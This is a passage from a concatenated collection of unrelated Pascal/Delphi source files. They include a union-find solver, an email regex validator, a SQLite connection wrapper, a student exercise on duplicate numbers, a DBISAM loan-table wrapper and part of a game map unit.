Exit;
NewLanguage := TVpLocalizeLanguageItem (FCountries.Items[FLoadingIndex].Languages.Add);
for i := 0 to FAttributes.Count - 1 do begin
if FAttributes.Items[i].Name = 'Name' then
NewLanguage.Name := FAttributes.Items[i].Value
else if FAttributes.Items[i].Name = 'ID' then
NewLanguage.LanguageID := GetIntegerValue (FAttributes.Items[i].Value, -1)
else if FAttributes.Items[i].Name = 'SubID' then
NewLanguage.SubLanguageID := GetIntegerValue (FAttributes.Items[i].Value, -1);
end;
end;
FAttributes.Clear;
end;
end.
|
{$MODE OBJFPC}
const
InputFile = 'DSF.INP';
OutputFile = 'DSF.OUT';
maxN = Round(1E5);
maxM = Round(2E5);
var
lab: array[1..maxN] of Integer;
i, n, m, u, v: Integer;
fi, fo: TextFile;
res: Integer;
function FindSet(u: Integer): Integer;
begin
if lab[u] <= 0 then Result := u
else
begin
Result := FindSet(lab[u]);
lab[u] := Result;
end;
end;
procedure Union(r, s: Integer);
begin
if lab[r] < lab[s] then lab[s] := r
else
begin
if lab[r] = lab[s] then Dec(lab[s]);
lab[r] := s;
end;
end;
begin
AssignFile(fi, InputFile); Reset(fi);
AssignFile(fo, OutputFile); Rewrite(fo);
try
ReadLn(fi, n, m);
FillChar(lab, SizeOf(lab), 0);
res := n;
for i := 1 to m do
begin
ReadLn(fi, u, v);
u := FindSet(u); v := FindSet(v);
if u <> v then
begin
Dec(res);
Union(u, v);
end;
WriteLn(fo, res);
end;
finally
CloseFile(fi); CloseFile(fo);
end;
end.
|
unit RegExpressionsUtil;
interface
type
TRegularExpressionEngine = class
public
class function IsMatch(const Input, Pattern: string): boolean;
class function IsValidEmail(const EmailAddress: string): boolean;
end;
implementation
uses
RegularExpressions;
{ TRegularExpressionEngine }
class function TRegularExpressionEngine.IsMatch(const Input,
Pattern: string): boolean;
begin
Result := TRegEx.IsMatch(Input, Pattern);
end;
class function TRegularExpressionEngine.IsValidEmail(
const EmailAddress: string): boolean;
const
EMAIL_REGEX = '^((?>[a-zA-Z\d!#$%&''*+\-/=?^_`{|}~]+\x20*|"((?=[\x01-\x7f])'
+'[^"\\]|\\[\x01-\x7f])*"\x20*)*(?<angle><))?((?!\.)'
+'(?>\.?[a-zA-Z\d!#$%&''*+\-/=?^_`{|}~]+)+|"((?=[\x01-\x7f])'
+'[^"\\]|\\[\x01-\x7f])*")@(((?!-)[a-zA-Z\d\-]+(?<!-)\.)+[a-zA-Z]'
+'{2,}|\[(((?(?<!\[)\.)(25[0-5]|2[0-4]\d|[01]?\d?\d))'
+'{4}|[a-zA-Z\d\-]*[a-zA-Z\d]:((?=[\x01-\x7f])[^\\\[\]]|\\'
+'[\x01-\x7f])+)\])(?(angle)>)$';
begin
Result := IsMatch(EmailAddress, EMAIL_REGEX);
end;
end.
|
unit CleanArch_EmbrConf.Infra.Database.Conexao;
interface
uses
Firedac.Stan.Intf,
Firedac.Stan.Option,
Firedac.Stan.Error,
Firedac.UI.Intf,
Firedac.Phys.Intf,
Firedac.Stan.Def,
Firedac.Stan.Pool,
Firedac.Stan.Async,
Firedac.Phys,
Firedac.Phys.SQLite,
Firedac.Phys.SQLiteDef,
Firedac.Stan.ExprFuncs,
Firedac.Phys.SQLiteWrapper.Stat,
Firedac.VCLUI.Wait,
Firedac.Comp.Client,
FireDAC.Stan.Param,
FireDAC.DatS,
FireDAC.DApt.Intf,
FireDAC.DApt,
FireDAC.Comp.DataSet,
CleanArch_EmbrConf.Infra.Database.Interfaces,
Data.DB;
type
TConexao = class(TInterfacedObject, iConexao)
private
FConexao : TFDConnection;
FQuery : TFDQuery;
public
constructor Create;
destructor Destroy; override;
class function New: iConexao;
function Params(aParam: String; Value: Variant): iConexao;
function DataSet(DataSource: TDataSource): iConexao; overload;
function DataSet: TDataSet; overload;
function ExecSQL: iConexao;
function Open: iConexao;
function SQL(Value: String): iConexao;
end;
implementation
constructor TConexao.Create;
begin
FConexao := TFDConnection.Create(nil);
FQuery := TFDQuery.Create(nil);
FQuery.Connection := FConexao;
FConexao.Params.Clear;
FConexao.Params.Add('DriverID=SQLite');
FConexao.Params.Add('DataBase=..\..\..\database\dados.sdb');
FConexao.Params.Add('LockingMode=Normal');
FConexao.Connected := True;
end;
function TConexao.DataSet(DataSource: TDataSource): iConexao;
begin
Result := Self;
DataSource.DataSet := FQuery;
end;
function TConexao.DataSet: TDataSet;
begin
Result := FQuery;
end;
destructor TConexao.Destroy;
begin
FConexao.DisposeOf;
FQuery.DisposeOf;
inherited;
end;
function TConexao.ExecSQL: iConexao;
begin
Result := Self;
FQuery.ExecSQL;
end;
class function TConexao.New: iConexao;
begin
Result := Self.Create;
end;
function TConexao.Open: iConexao;
begin
Result := Self;
FQuery.Open;
end;
function TConexao.Params(aParam: String; Value: Variant): iConexao;
begin
Result := Self;
FQuery.ParamByName(aParam).Value := Value;
end;
function TConexao.SQL(Value: String): iConexao;
begin
Result := Self;
FQuery.SQL.Clear;
FQuery.SQL.Add(Value);
end;
end.
|
unit tfwStreamFactory;
// Модуль: "w:\common\components\rtl\Garant\ScriptEngine\tfwStreamFactory.pas"
// Стереотип: "SimpleClass"
// Элемент модели: "TtfwStreamFactory" MUID: (52F4E6AA02BB)
{$Include w:\common\components\rtl\Garant\ScriptEngine\seDefine.inc}
interface
uses
l3IntfUses
, l3ProtoObject
, l3BaseStream
;
type
TtfwStreamFactory = {abstract} class(Tl3ProtoObject)
private
f_FileName: AnsiString;
protected
f_Stream: Tl3Stream;
protected
procedure Cleanup; override;
{* Функция очистки полей объекта. }
public
function FileName: AnsiString;
function Stream: Tl3Stream; virtual; abstract;
constructor Create(const aFileName: AnsiString); reintroduce;
procedure CloseStream;
function FileDateTime: TDateTime; virtual; abstract;
end;//TtfwStreamFactory
implementation
uses
l3ImplUses
, SysUtils
//#UC START# *52F4E6AA02BBimpl_uses*
//#UC END# *52F4E6AA02BBimpl_uses*
;
function TtfwStreamFactory.FileName: AnsiString;
//#UC START# *52F4E6D60067_52F4E6AA02BB_var*
//#UC END# *52F4E6D60067_52F4E6AA02BB_var*
begin
//#UC START# *52F4E6D60067_52F4E6AA02BB_impl*
Assert(Self <> nil);
Result := f_FileName;
//#UC END# *52F4E6D60067_52F4E6AA02BB_impl*
end;//TtfwStreamFactory.FileName
constructor TtfwStreamFactory.Create(const aFileName: AnsiString);
//#UC START# *52F4E94802D6_52F4E6AA02BB_var*
//#UC END# *52F4E94802D6_52F4E6AA02BB_var*
begin
//#UC START# *52F4E94802D6_52F4E6AA02BB_impl*
inherited Create;
f_FileName := aFileName;
//#UC END# *52F4E94802D6_52F4E6AA02BB_impl*
end;//TtfwStreamFactory.Create
procedure TtfwStreamFactory.CloseStream;
//#UC START# *52F4F68C01E0_52F4E6AA02BB_var*
//#UC END# *52F4F68C01E0_52F4E6AA02BB_var*
begin
//#UC START# *52F4F68C01E0_52F4E6AA02BB_impl*
FreeAndNil(f_Stream);
//#UC END# *52F4F68C01E0_52F4E6AA02BB_impl*
end;//TtfwStreamFactory.CloseStream
procedure TtfwStreamFactory.Cleanup;
{* Функция очистки полей объекта. }
//#UC START# *479731C50290_52F4E6AA02BB_var*
//#UC END# *479731C50290_52F4E6AA02BB_var*
begin
//#UC START# *479731C50290_52F4E6AA02BB_impl*
FreeAndNil(f_Stream);
inherited;
//#UC END# *479731C50290_52F4E6AA02BB_impl*
end;//TtfwStreamFactory.Cleanup
end.
|
unit MFichas.Model.Impressao.Interfaces;
interface
type
iModelImpressao = interface;
iModelImpressaoCaixa = interface;
iModelImpressaoCaixaFechamento = interface;
iModelImpressao = interface
['{C6FBA054-684F-43F0-BC20-931CC2AA4EDC}']
function Caixa: iModelImpressaoCaixa;
end;
iModelImpressaoCaixa = interface
['{FF00681A-C1D3-475F-A835-9DCB7B492977}']
function Fechamento: iModelImpressaoCaixaFechamento;
function &End : iModelImpressao;
end;
iModelImpressaoCaixaFechamento = interface
['{E8DF567E-1999-4548-8487-7FBFF3CA7798}']
function TituloDaImpressao(ATitulo: String): iModelImpressaoCaixaFechamento;
function CodigoDoCaixa(AGUUID: String) : iModelImpressaoCaixaFechamento;
function ExecutarImpressao : iModelImpressaoCaixaFechamento;
function &End : iModelImpressaoCaixa;
end;
implementation
end.
|
unit ExtAIInfo;
interface
uses
Classes, Windows, System.SysUtils,
KM_Consts, ExtAISharedNetworkTypes, ExtAINetServer, ExtAICommonClasses;
type
TExtAIInfo = class;
TExtAIStatusEvent = procedure (aExtAIInfo: TExtAIInfo) of object;
// Contain basic informations about ExtAI and communication interface (maybe exists better name...)
TExtAIInfo = class
private
// Identifiers
fID: Word; // The main identifier of the ExtAI (hands are not available or the client disconnects and connects)
fHandIdx: TKMHandIndex; // Game identifier (after hands are created)
fServerClient: TExtAIServerClient; // Websocket identifier (when connection is established)
fSourceIsDLL: Boolean; // ExtAI is called from DLL
// ExtAI configuration
fAuthor: UnicodeString;
fName: UnicodeString;
fDescription: UnicodeString;
fVersion: Cardinal;
// Callbacks
fOnAIConfigured: TExtAIStatusEvent;
function GetName(): String;
procedure ChangeServerClient(aServerClient: TExtAIServerClient);
procedure NewCfg(aData: Pointer; aTypeCfg, aLength: Cardinal);
public
constructor Create(aID: Word = 0; aServerClient: TExtAIServerClient = nil);
destructor Destroy; override;
// Identifiers
property ID: Word read fID;
property HandIdx: TKMHandIndex read fHandIdx write fHandIdx;
property ServerClient: TExtAIServerClient read fServerClient write ChangeServerClient;
property SourceIsDLL: Boolean read fSourceIsDLL;
// Client cfg
property Author: UnicodeString read fAuthor;
property Name: UnicodeString read GetName;
property Description: UnicodeString read fDescription;
property Version: Cardinal read fVersion;
// Callbacks
property OnAIConfigured: TExtAIStatusEvent write fOnAIConfigured;
// Functions
function ReadyForGame(): Boolean;
end;
implementation
uses
ExtAILog;
{ TExtAIInfo }
// Constructor have 2 options:
// 1. AI is created in DLL => TExtAIInfo is created before client then the client is connected and synchronization is required
// 2. AI is compiled to exe => TExtAIInfo after connection of the ExtAI so TExtAIServerClient is already available
constructor TExtAIInfo.Create(aID: Word = 0; aServerClient: TExtAIServerClient = nil);
begin
Inherited Create;
fID := aID;
fHandIdx := -1;
fServerClient := aServerClient;
fAuthor := '';
fName := '';
fDescription := '';
fVersion := 0;
fSourceIsDLL := (aServerClient = nil);
ChangeServerClient(aServerClient);
gLog.Log('ExtAIInfo-Create, ID = %d', [ID]);
end;
destructor TExtAIInfo.Destroy();
begin
fServerClient := nil;
gLog.Log('ExtAIInfo-Destroy, ID = %d', [ID]);
Inherited;
end;
function TExtAIInfo.GetName(): String;
begin
if (fServerClient = nil) then
Result := Format('%s',[fName])
else
Result := Format('%s %d',[fName,fServerClient.Handle]);
end;
procedure TExtAIInfo.ChangeServerClient(aServerClient: TExtAIServerClient);
begin
fServerClient := aServerClient;
if (fServerClient <> nil) then
fServerClient.OnCfg := NewCfg;
end;
procedure TExtAIInfo.NewCfg(aData: Pointer; aTypeCfg, aLength: Cardinal);
var
CfgFull: Boolean;
M: TKExtAIMsgStream;
begin
CfgFull := ReadyForGame();
M := TKExtAIMsgStream.Create();
try
M.Write(aData^, aLength);
M.Position := 0;
case TExtAIMsgTypeCfgAI(aTypeCfg) of
caID:
begin
M.Read(fID);
gLog.Log('ExtAIInfo ID: %d',[fID]);
end;
caAuthor:
begin
M.ReadW(fAuthor);
gLog.Log('ExtAIInfo author: %s',[fAuthor]);
end;
caName:
begin
M.ReadW(fName);
gLog.Log('ExtAIInfo name: %s',[fName]);
end;
caDescription:
begin
M.ReadW(fDescription);
gLog.Log('ExtAIInfo description: %s',[fDescription]);
end;
caVersion:
begin
M.Read(fVersion);
gLog.Log('ExtAIInfo version = %d',[fVersion]);
end;
else
gLog.Log('ExtAIInfo Unknown configuration');
end;
finally
M.Free;
end;
// If config was fullfilled in this step, then use callback
if not CfgFull AND ReadyForGame() AND Assigned(fOnAIConfigured) then
fOnAIConfigured(self);
end;
function TExtAIInfo.ReadyForGame(): Boolean;
begin
Result := (AnsiCompareText(fName,'') <> 0) AND (ID > 0) AND (ServerClient <> nil);
end;
end.
|
unit mvc.Interf;
interface
uses System.Classes, System.SysUtils;
type
IController = interface;
IThis<T> = interface
['{D6AB571A-3644-43CF-809A-34E1CFD96A78}']
function This:T;
end;
IModel = interface
['{FC5669F0-546C-4F0D-B33F-5FB2BA125DBC}']
end;
IView = interface
['{A1E53BAC-BFCE-4D90-A54F-F8463D597E43}']
procedure SetController(const AController: IController);
function This:TObject;
end;
IApplicationController = interface
['{207C0D66-6586-4123-8817-F84AC0AF29F3}']
procedure Run(AClass: TComponentClass; var reference; AFunc:TFunc<boolean> );
//procedure SetController( const AController:IController);
end;
IController = interface
['{A7758E82-3AA1-44CA-8160-2DF77EC8D203}']
function AddView(const AView: IView): integer;
function IndexOf(const AView: IView): integer;
procedure Delete(const Index: integer);
function Count: integer;
function This:TObject;
// procedure RemoveView( const AView:IView);
end;
implementation
end.
|
//Exercicio 71: Armazenar 50 números num arranjo e verificar se existe números iguais.
//A resposta deve ser apenas: verdadeiro ou falso.
{ Solução em Portugol
Algoritmo Exercicio 71;
Var
v: vetor[1..50] de real;
i,j,acumulador: inteiro;
Inicio
acumulador <- 0;
exiba("Programa que armazena 50 números e diz se existem números iguais.");
para i <- 1 até 50 faça
exiba("Digite o ",i,"º número:");
leia(v[i]);
fimpara;
para i <- 1 até 50 faça
para j <- i + 1 até 50 faça
se(v[i] = v[j])
então acumulador <- acumulador + 1;
fimse;
fimpara;
fimpara;
exiba("Existem números iguais?");
se(acumulador > 0)
então exiba("Verdadeiro")
senão exiba("Falso");
fimse;
Fim.
}
// Solução em Pascal
Program Exercicio71;
uses crt;
var
v: array[1..50] of real;
i,j,acumulador: integer;
begin
clrscr;
acumulador := 0;
writeln('Programa que armazena 50 números e diz se existem números iguais.');
for i := 1 to 50 do
Begin
writeln('Digite o ',i,'º número:'); // Armazenamento dos 50 números.
readln(v[i]);
End;
for i := 1 to 50 do
Begin
for j := i + 1 to 50 do // Fixa um número e compara com os outros do vetor.
Begin // Essa comparação evita repetições.
if(v[i] = v[j])
then acumulador := acumulador + 1;
End;
End;
writeln('Existem números iguais?');
if(acumulador > 0)
then writeln('Verdadeiro')
else writeln('Falso');
repeat until keypressed;
end. |
unit InfoNEWSRCHTable;
interface
uses
Classes, DB, DBISAMTb, SysUtils, DBISAMTableAU, DataBuf;
type
TInfoNEWSRCHRecord = record
PLender: String[4];
PLoanNumber: String[18];
PCIndex: String[1];
PWaived: String[1];
PRank: Integer;
PPriority: Integer;
PShortName: String[30];
PAddressSearch: String[40];
PCollateral: String[100];
PVin: String[85];
PPolicyString: String[30];
End;
TInfoNEWSRCHBuffer = class(TDataBuf)
protected
function PtrIndex(Index:integer):Pointer;override;
public
Data: TInfoNEWSRCHRecord;
function FieldNameToIndex(s:string):integer;override;
function FieldType(index:integer):TFieldType;override;
end;
TEIInfoNEWSRCH = (InfoNEWSRCHPrimaryKey, InfoNEWSRCHByRankPriority);
TInfoNEWSRCHTable = class( TDBISAMTableAU )
private
FDFLender: TStringField;
FDFLoanNumber: TStringField;
FDFCIndex: TStringField;
FDFWaived: TStringField;
FDFRank: TIntegerField;
FDFPriority: TIntegerField;
FDFShortName: TStringField;
FDFAddressSearch: TStringField;
FDFCollateral: TStringField;
FDFVin: TStringField;
FDFPolicyString: TStringField;
procedure SetPLender(const Value: String);
function GetPLender:String;
procedure SetPLoanNumber(const Value: String);
function GetPLoanNumber:String;
procedure SetPCIndex(const Value: String);
function GetPCIndex:String;
procedure SetPWaived(const Value: String);
function GetPWaived:String;
procedure SetPRank(const Value: Integer);
function GetPRank:Integer;
procedure SetPPriority(const Value: Integer);
function GetPPriority:Integer;
procedure SetPShortName(const Value: String);
function GetPShortName:String;
procedure SetPAddressSearch(const Value: String);
function GetPAddressSearch:String;
procedure SetPCollateral(const Value: String);
function GetPCollateral:String;
procedure SetPVin(const Value: String);
function GetPVin:String;
procedure SetPPolicyString(const Value: String);
function GetPPolicyString:String;
function GenerateNewFieldName( AOwner: TComponent; const DatasetName: string; const FieldName: string ): string;
procedure SetEnumIndex(Value: TEIInfoNEWSRCH);
function GetEnumIndex: TEIInfoNEWSRCH;
protected
function CreateField( const FieldName : string ): TField;
procedure CreateFields;
procedure SetActive(Value: Boolean); override;
procedure LoadFieldDefs(AStringList:TStringList);override;
procedure LoadIndexDefs(AStringList:TStringList);override;
public
function GetDataBuffer:TInfoNEWSRCHRecord;
procedure StoreDataBuffer(ABuffer:TInfoNEWSRCHRecord);
property DFLender: TStringField read FDFLender;
property DFLoanNumber: TStringField read FDFLoanNumber;
property DFCIndex: TStringField read FDFCIndex;
property DFWaived: TStringField read FDFWaived;
property DFRank: TIntegerField read FDFRank;
property DFPriority: TIntegerField read FDFPriority;
property DFShortName: TStringField read FDFShortName;
property DFAddressSearch: TStringField read FDFAddressSearch;
property DFCollateral: TStringField read FDFCollateral;
property DFVin: TStringField read FDFVin;
property DFPolicyString: TStringField read FDFPolicyString;
property PLender: String read GetPLender write SetPLender;
property PLoanNumber: String read GetPLoanNumber write SetPLoanNumber;
property PCIndex: String read GetPCIndex write SetPCIndex;
property PWaived: String read GetPWaived write SetPWaived;
property PRank: Integer read GetPRank write SetPRank;
property PPriority: Integer read GetPPriority write SetPPriority;
property PShortName: String read GetPShortName write SetPShortName;
property PAddressSearch: String read GetPAddressSearch write SetPAddressSearch;
property PCollateral: String read GetPCollateral write SetPCollateral;
property PVin: String read GetPVin write SetPVin;
property PPolicyString: String read GetPPolicyString write SetPPolicyString;
published
property Active write SetActive;
property EnumIndex: TEIInfoNEWSRCH read GetEnumIndex write SetEnumIndex;
end; { TInfoNEWSRCHTable }
procedure Register;
implementation
function TInfoNEWSRCHTable.GenerateNewFieldName( AOwner: TComponent; const DatasetName: string; const FieldName: string ): string;
var
I: Integer;
NewName: string;
Done: Boolean;
function ComponentExists( AOwner: TComponent; const CompName: string ): Boolean;
var
I: Integer;
begin
Result := False;
for I := 0 To AOwner.ComponentCount - 1 do
begin
if AnsiCompareText( CompName, AOwner.Components[ I ].Name ) = 0 then
begin
Result := True;
Break;
end;
end;
end; { ComponentExists }
begin { TInfoNEWSRCHTable.GenerateNewFieldName }
NewName := DatasetName;
for I := 1 to Length( FieldName ) do
begin
if FieldName[ I ] in [ '0'..'9', '_', 'A'..'Z', 'a'..'z' ] then
NewName := NewName + FieldName[ I ];
end;
if ComponentExists( Owner, NewName ) then
begin
I := 1;
Done := False;
repeat
Inc( I );
if not ComponentExists( AOwner, NewName + IntToStr( I ) ) then
begin
Result := NewName + IntToStr( I );
Done := True;
end;
until Done;
end
else
Result := NewName;
end; { TInfoNEWSRCHTable.GenerateNewFieldName }
function TInfoNEWSRCHTable.CreateField( const FieldName : string ): TField;
begin
{ First, try to find an existing field object. FindField is the same }
{ as FieldByName, but does not raise an exception if the field object }
{ cannot be found. }
Result := FindField( FieldName );
if Result = nil then
begin
{ If an existing field object cannot be found... }
{ Instruct the FieldDefs object to create a new field object }
Result := FieldDefs.Find( FieldName ).CreateField( Owner );
{ The new field object must be given a name so that it may appear in }
{ the Object Inspector. The Delphi default naming convention is used.}
Result.Name := GenerateNewFieldName( Owner, Name, FieldName);
end;
end; { TInfoNEWSRCHTable.CreateField }
procedure TInfoNEWSRCHTable.CreateFields;
begin
FDFLender := CreateField( 'Lender' ) as TStringField;
FDFLoanNumber := CreateField( 'LoanNumber' ) as TStringField;
FDFCIndex := CreateField( 'CIndex' ) as TStringField;
FDFWaived := CreateField( 'Waived' ) as TStringField;
FDFRank := CreateField( 'Rank' ) as TIntegerField;
FDFPriority := CreateField( 'Priority' ) as TIntegerField;
FDFShortName := CreateField( 'ShortName' ) as TStringField;
FDFAddressSearch := CreateField( 'AddressSearch' ) as TStringField;
FDFCollateral := CreateField( 'Collateral' ) as TStringField;
FDFVin := CreateField( 'Vin' ) as TStringField;
FDFPolicyString := CreateField( 'PolicyString' ) as TStringField;
end; { TInfoNEWSRCHTable.CreateFields }
procedure TInfoNEWSRCHTable.SetActive(Value: Boolean);
begin
inherited SetActive(Value);
if Active then
CreateFields;
end; { TInfoNEWSRCHTable.SetActive }
procedure TInfoNEWSRCHTable.SetPLender(const Value: String);
begin
DFLender.Value := Value;
end;
function TInfoNEWSRCHTable.GetPLender:String;
begin
result := DFLender.Value;
end;
procedure TInfoNEWSRCHTable.SetPLoanNumber(const Value: String);
begin
DFLoanNumber.Value := Value;
end;
function TInfoNEWSRCHTable.GetPLoanNumber:String;
begin
result := DFLoanNumber.Value;
end;
procedure TInfoNEWSRCHTable.SetPCIndex(const Value: String);
begin
DFCIndex.Value := Value;
end;
function TInfoNEWSRCHTable.GetPCIndex:String;
begin
result := DFCIndex.Value;
end;
procedure TInfoNEWSRCHTable.SetPWaived(const Value: String);
begin
DFWaived.Value := Value;
end;
function TInfoNEWSRCHTable.GetPWaived:String;
begin
result := DFWaived.Value;
end;
procedure TInfoNEWSRCHTable.SetPRank(const Value: Integer);
begin
DFRank.Value := Value;
end;
function TInfoNEWSRCHTable.GetPRank:Integer;
begin
result := DFRank.Value;
end;
procedure TInfoNEWSRCHTable.SetPPriority(const Value: Integer);
begin
DFPriority.Value := Value;
end;
function TInfoNEWSRCHTable.GetPPriority:Integer;
begin
result := DFPriority.Value;
end;
procedure TInfoNEWSRCHTable.SetPShortName(const Value: String);
begin
DFShortName.Value := Value;
end;
function TInfoNEWSRCHTable.GetPShortName:String;
begin
result := DFShortName.Value;
end;
procedure TInfoNEWSRCHTable.SetPAddressSearch(const Value: String);
begin
DFAddressSearch.Value := Value;
end;
function TInfoNEWSRCHTable.GetPAddressSearch:String;
begin
result := DFAddressSearch.Value;
end;
procedure TInfoNEWSRCHTable.SetPCollateral(const Value: String);
begin
DFCollateral.Value := Value;
end;
function TInfoNEWSRCHTable.GetPCollateral:String;
begin
result := DFCollateral.Value;
end;
procedure TInfoNEWSRCHTable.SetPVin(const Value: String);
begin
DFVin.Value := Value;
end;
function TInfoNEWSRCHTable.GetPVin:String;
begin
result := DFVin.Value;
end;
procedure TInfoNEWSRCHTable.SetPPolicyString(const Value: String);
begin
DFPolicyString.Value := Value;
end;
function TInfoNEWSRCHTable.GetPPolicyString:String;
begin
result := DFPolicyString.Value;
end;
procedure TInfoNEWSRCHTable.LoadFieldDefs(AStringList: TStringList);
begin
inherited;
with AstringList do
begin
Add('Lender, String, 4, N');
Add('LoanNumber, String, 18, N');
Add('CIndex, String, 1, N');
Add('Waived, String, 1, N');
Add('Rank, Integer, 0, N');
Add('Priority, Integer, 0, N');
Add('ShortName, String, 30, N');
Add('AddressSearch, String, 40, N');
Add('Collateral, String, 100, N');
Add('Vin, String, 85, N');
Add('PolicyString, String, 30, N');
end;
end;
procedure TInfoNEWSRCHTable.LoadIndexDefs(AStringList: TStringList);
begin
inherited;
with AstringList do
begin
Add('PrimaryKey, Lender;LoanNumber;CIndex, Y, Y, N, N');
Add('ByRankPriority, Rank;Priority, N, N, N, N');
end;
end;
procedure TInfoNEWSRCHTable.SetEnumIndex(Value: TEIInfoNEWSRCH);
begin
case Value of
InfoNEWSRCHPrimaryKey : IndexName := '';
InfoNEWSRCHByRankPriority : IndexName := 'ByRankPriority';
end;
end;
function TInfoNEWSRCHTable.GetDataBuffer:TInfoNEWSRCHRecord;
var buf: TInfoNEWSRCHRecord;
begin
fillchar(buf, sizeof(buf), 0);
buf.PLender := DFLender.Value;
buf.PLoanNumber := DFLoanNumber.Value;
buf.PCIndex := DFCIndex.Value;
buf.PWaived := DFWaived.Value;
buf.PRank := DFRank.Value;
buf.PPriority := DFPriority.Value;
buf.PShortName := DFShortName.Value;
buf.PAddressSearch := DFAddressSearch.Value;
buf.PCollateral := DFCollateral.Value;
buf.PVin := DFVin.Value;
buf.PPolicyString := DFPolicyString.Value;
result := buf;
end;
procedure TInfoNEWSRCHTable.StoreDataBuffer(ABuffer:TInfoNEWSRCHRecord);
begin
DFLender.Value := ABuffer.PLender;
DFLoanNumber.Value := ABuffer.PLoanNumber;
DFCIndex.Value := ABuffer.PCIndex;
DFWaived.Value := ABuffer.PWaived;
DFRank.Value := ABuffer.PRank;
DFPriority.Value := ABuffer.PPriority;
DFShortName.Value := ABuffer.PShortName;
DFAddressSearch.Value := ABuffer.PAddressSearch;
DFCollateral.Value := ABuffer.PCollateral;
DFVin.Value := ABuffer.PVin;
DFPolicyString.Value := ABuffer.PPolicyString;
end;
function TInfoNEWSRCHTable.GetEnumIndex: TEIInfoNEWSRCH;
var iname : string;
begin
iname := uppercase(indexname);
if iname = '' then result := InfoNEWSRCHPrimaryKey;
if iname = 'BYRANKPRIORITY' then result := InfoNEWSRCHByRankPriority;
end;
(********************************************)
(************ Register Component ************)
(********************************************)
procedure Register;
begin
RegisterComponents( 'Info Tables', [ TInfoNEWSRCHTable, TInfoNEWSRCHBuffer ] );
end; { Register }
function TInfoNEWSRCHBuffer.FieldNameToIndex(s:string):integer;
const flist:array[1..11] of string = ('LENDER','LOANNUMBER','CINDEX','WAIVED','RANK','PRIORITY'
,'SHORTNAME','ADDRESSSEARCH','COLLATERAL','VIN','POLICYSTRING'
);
var x : integer;
begin
s := uppercase(s);
x := 1;
while (x <= 11) and (flist[x] <> s) do inc(x);
if x <= 11 then result := x else result := 0;
end;
function TInfoNEWSRCHBuffer.FieldType(index:integer):TFieldType;
begin
result := ftUnknown;
case index of
1 : result := ftString;
2 : result := ftString;
3 : result := ftString;
4 : result := ftString;
5 : result := ftInteger;
6 : result := ftInteger;
7 : result := ftString;
8 : result := ftString;
9 : result := ftString;
10 : result := ftString;
11 : result := ftString;
end;
end;
function TInfoNEWSRCHBuffer.PtrIndex(index:integer):Pointer;
begin
result := nil;
case index of
1 : result := @Data.PLender;
2 : result := @Data.PLoanNumber;
3 : result := @Data.PCIndex;
4 : result := @Data.PWaived;
5 : result := @Data.PRank;
6 : result := @Data.PPriority;
7 : result := @Data.PShortName;
8 : result := @Data.PAddressSearch;
9 : result := @Data.PCollateral;
10 : result := @Data.PVin;
11 : result := @Data.PPolicyString;
end;
end;
end.
|
unit uMap;
interface
uses
Types, Graphics, uScript;
const
Layers = 4;
SerializableLayers = 3;
lrNone = -2;
lrStop = -1;
lrTerrain = 0;
lrObj = 1;
lrCrt = 2;
lrPath = 3;
AggrZone = 1;
type
TLayer = array[0..255, 0..255, 0..Layers - 1] of ShortInt;
TMap = class(TObject)
private
FHeight: Integer;
FWidth: Integer;
procedure SetHeight(const Value: Integer);
procedure SetWidth(const Value: Integer);
public
Script: TScript;
MiniMap: TBitmap;
FMap: TLayer;
constructor Create;
destructor Destroy; override;
property Width: Integer read FWidth write SetWidth;
property Height: Integer read FHeight write SetHeight;
procedure LoadFromFile(const FileName: string);
procedure SaveToFile(const FileName: string);
procedure Generate(AID: Byte);
procedure MakeMiniMap;
procedure MakeMap;
procedure Terrain;
function GetGroundSet: Byte;
procedure Fill(Ground: Boolean);
procedure SetPath(X, Y: Byte; Value: ShortInt); overload;
procedure SetPath(Pt: TPoint; Value: ShortInt); overload;
function CellInMap(X, Y: Integer): Boolean;
end;
const
GroundSet = [5, 6, 9, 10];
var
Map: TMap;
implementation
uses
Classes, uUtils, uTile, uMapGenerator, uBox;
{ TMap }
function TMap.CellInMap(X, Y: Integer): Boolean;
begin
Result := (X >= 0) and (X < Width) and (Y >= 0) and (Y < Height);
end;
constructor TMap.Create;
begin
Script := TScript.Create;
Width := 150;
Height := 150;
Fill(False);
end;
destructor TMap.Destroy;
begin
Script.Free;
MiniMap.Free;
inherited;
end;
procedure TMap.Fill(Ground: Boolean);
var
X, Y, Z: Byte;
begin
Script.Clear;
for Z := 0 to Layers - 1 do
for Y := 0 to Height - 1 do
for X := 0 to Width - 1 do
case Z of
lrTerrain:
if Ground then FMap[Y][X][Z] := GetGroundSet
else FMap[Y][X][Z] := -1;
lrObj, lrCrt, lrPath:
FMap[Y][X][Z] := lrNone;
end;
MakeMiniMap;
end;
procedure TMap.Generate(AID: Byte);
var
X, Y, Z, H, W: Byte;
DR: TBeaRLibMap;
procedure Ap(I: ShortInt);
begin
FMap[Y][X][lrTerrain] := I;
FMap[Y][X - 1][lrTerrain] := I;
FMap[Y - 1][X][lrTerrain] := I;
FMap[Y - 1][X - 1][lrTerrain] := I;
end;
begin
Script.Clear;
W := Width div 2;
H := Height div 2;
SetLength(DR, W * H);
CreateMap(W, H, AID, DR, W * H);
for Y := 1 to Height - 2 do
for X := 1 to Width - 2 do
if (DR[(X div 2) * H + (Y div 2)] = '#') then
Ap(-1) else Ap(GetGroundSet);
MakeMap;
Terrain;
MakeMiniMap;
for Z := lrObj to lrPath do
for Y := 0 to Height - 1 do
for X := 0 to Width - 1 do
FMap[Y][X][Z] := lrNone;
end;
function TMap.GetGroundSet: Byte;
begin
case Rand(1, 2) of
1 : Result := Rand(5, 6);
else Result := Rand(9, 10);
end;
end;
procedure TMap.MakeMap;
var
X, Y: Byte;
begin
for Y := 1 to Self.Height - 2 do
for X := 1 to Self.Width - 2 do
begin
// Top
if (FMap[Y][X][lrTerrain] in GroundSet)
and not (FMap[Y - 1][X][lrTerrain] in GroundSet) then
FMap[Y - 1][X][lrTerrain] := Rand(1, 2);
// Down
if (FMap[Y][X][lrTerrain] in GroundSet)
and not (FMap[Y + 1][X][lrTerrain] in GroundSet) then
FMap[Y + 1][X][lrTerrain] := Rand(13, 14);
// Left
if (FMap[Y][X][lrTerrain] in GroundSet)
and not (FMap[Y][X - 1][lrTerrain] in GroundSet) then
FMap[Y][X - 1][lrTerrain] := 4;
// Right
if (FMap[Y][X][lrTerrain] in GroundSet)
and not (FMap[Y][X + 1][lrTerrain] in GroundSet) then
FMap[Y][X + 1][lrTerrain] := 7;
// Top Left
if (FMap[Y][X][lrTerrain] in GroundSet)
